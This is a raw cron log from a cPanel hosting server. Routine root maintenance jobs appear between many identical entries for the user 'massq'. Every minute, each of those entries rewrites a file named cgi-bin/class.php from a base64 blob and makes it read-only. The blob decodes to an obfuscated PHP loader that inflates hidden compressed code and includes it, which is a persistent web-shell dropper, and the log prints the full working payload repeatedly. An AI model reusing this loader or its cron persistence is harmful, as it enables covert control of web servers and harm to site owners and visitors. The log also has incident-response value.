Nov 15 07:01:01 server CROND[20471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:01:01 server CROND[20472]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 07:01:01 server run-parts(/etc/cron.hourly)[20472]: starting 0anacron
Nov 15 07:01:01 server run-parts(/etc/cron.hourly)[20484]: finished 0anacron
Nov 15 07:02:01 server CROND[20770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:03:01 server CROND[21031]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:04:01 server CROND[21399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:05:01 server CROND[21675]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:05:01 server CROND[21676]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 07:05:01 server CROND[21678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:05:01 server CROND[21679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:06:01 server CROND[22008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:07:01 server CROND[22325]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:08:01 server CROND[22647]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:09:01 server CROND[23013]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:09:01 server CROND[23014]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 07:10:01 server CROND[23298]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:10:01 server CROND[23299]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 07:10:01 server CROND[23300]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:10:01 server CROND[23301]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:11:01 server CROND[23618]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:12:01 server CROND[23894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:12:01 server CROND[23895]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 07:13:01 server CROND[24162]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
